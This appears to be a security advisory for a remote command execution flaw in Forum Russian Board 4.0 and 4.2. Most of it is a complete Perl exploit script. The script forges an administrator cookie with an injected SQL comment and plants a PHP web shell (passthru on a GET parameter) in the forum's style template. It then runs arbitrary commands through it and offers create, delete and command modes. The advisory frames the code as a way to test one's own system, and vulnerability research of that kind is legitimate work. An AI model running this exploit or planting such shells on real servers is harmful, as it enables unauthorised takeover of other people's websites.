[EXPL] FRB Remote Command Execution (Exploit)

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  FRB Remote Command Execution (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://frb.ru/> Forum Russian Board is "a PHP based web forum portal". 
Remote command execution vulnerability discovered in FRB allows malicious 
attackers to execute arbitrary code on the vulnerable system, the 
following exploit code can be used to test this vulnerability on your 
system.

DETAILS

Vulnerable Systems:
 * Forum Russian Board versions 4.0 and 4.2

Exploit:
#!/usr/bin/perl

# Forum Russian Board 4.2 Full (FRB) (http://www.carline.ru , 
http://frb.ru)
# command execution exploit by RST/GHC (http://rst.void.ru , 
http://ghc.ru)
# bugs found by foster & 1dt.w0lf , xpl coded by 1dt.w0lf
# RST/GHC - http://rst.void.ru , http://ghc.ru

use IO::Socket;
use Getopt::Std;

getopts("h:p:u:i:c:");

$host  = $opt_h;
$path  = $opt_p;
$user  = $opt_u;
$id    = $opt_i;
$cmd   = $opt_c || 'create';

$cmdspl = "%26%26"; # ;      - for unix
                    # %26%26 - for windows

if(!$host || !$path) { usage(); }
if(($cmd eq 'create' || $cmd eq 'delete') && (!$user || !$id)) { usage(); 
}

$host =~ s/(http:\/\/)//g;
$cook = $user."' /*";

if($cmd eq 'create' || $cmd eq 'delete'){
head();
print ">>> CREATE SHELL\n" if ($cmd eq 'create');
print ">>> DELETE SHELL\n" if ($cmd eq 'delete');
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", 
PeerPort => "80") || die "[-] CONNECT FAILED\n";
print $sock "GET ${path}admin/style_edit.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: */*\n";
print $sock "Cookie: board_user_cook=$cook;board_user_id=$id\n";
print $sock "Connection: close\n\n";
print "GETTING CURRENT STYLE ... [";
while ($res = <$sock>)
{
 if($res =~ /(.*)<\/textarea>/) { $data .= $1; $p = 0; }
 $data .= $res if $p;
 if($res =~ s/(.*)(<textarea)([^<>]*)([>])(.*)/$5/) { $data .= $res; $p = 
1; }
}

if(length($data)>0) { print " DONE ]\n"; }
else { print " FAILED ]\n"; exit(); }

if($data =~ /rst_ghc/)
 {
 if($cmd eq 'create') { print "SHELL ALREADY EXIST!"; exit(); }
 if($cmd eq 'delete')
  {
  print "SHELL EXIST.\nDELETING SHELL.\n";
  $data =~ s/\s*<\? if\(\$_GET\[rst_ghc\]\)\{ 
passthru\(\$_GET\[rst_ghc\]\); \} \?>//g;
  }
 }
else
 {
 if($cmd eq 'create')
  {
  $data .= "\n";
  $data .= '<? if($_GET[rst_ghc]){ passthru($_GET[rst_ghc]); } ?>';
  }
 if($cmd eq 'delete') { print "SHELL NOT EXIST. CAN'T DELETE."; exit(); }
 }

$data =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post = "message=${data}&form_h=yes&style_edit_ok=". 
"%C8%E7%EC%E5%ED%E8%F2%FC";
print "CREATE NEW STYLE ...[";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", 
PeerPort => "80") || die "[-] CONNECT FAILED\r\n";
print $sock "POST ${path}admin/style_edit.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Cookie: board_user_cook=$cook;board_user_id=$id\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\n\n";
print $sock "$post";
print $sock "\n\n";
print " DONE ]\n";
if($cmd eq 'create') { print "SHELL CREATED SUCCESSFULLY! NOW YOU CAN TRY 
EXECUTE COMMAND."; }
if($cmd eq 'delete') { print "SHELL DELETED!"; }
}
else
{
head();
print ">>> COMMAND EXECUTE\n";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", 
PeerPort => "80") || die "[-] CONNECT FAILED\n";
print $sock "GET ${path}index.php?rst_ghc=echo%20_START_%20". 
"$cmdspl%20$cmd%20$cmdspl%20echo%20_END_%20; HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";

while ($res = <$sock>)
{
 if($res =~ /^_END_/) { $p = 0; }
 $data .= $res if $p;
 if($res =~ /^_START_/) { $p = 1; }
}
if(length($data)>0) {

                      print 
"-----------------------------------------------------------------\n";
                      print $data;
                      print 
"-----------------------------------------------------------------\n";
                      exit(0);
                    }
else { print "[-] FAILED\nMaybe you forget create shell first?\n"; 
exit(0); }

}

sub usage()
{
 head();
 print " USAGE : r57frb.pl [options]\n\n";
 print " Options: \n";
 print "          -h - host e.g. '127.0.0.1' , 'www.frb.ru'\n";
 print "          -p - path to forum e.g. '/frb/' , '/forum/'\n";
 print "          -u - admin username e.g. 'admin'\n";
 print "          -i - admin id e.g. '1'\n";
 print "          -c [create|delete|cmd]\n";
 print "              create - for create shell\n";
 print "              delete - for delete shell\n";
 print "              cmd - any command for execute\n";
 print 
"-----------------------------------------------------------------\n";
exit(0);
}

sub head()
{
 print 
"-----------------------------------------------------------------\n";
 print "Forum Russian Board 4.0 Full command execution exploit by 
RST/GHC\n";
 print 
"-----------------------------------------------------------------\n";
}


ADDITIONAL INFORMATION

The information has been provided by 1dt.w0lf.
The original article can be found at:  
<http://rst.void.ru/papers/advisory29.txt> 
http://rst.void.ru/papers/advisory29.txt



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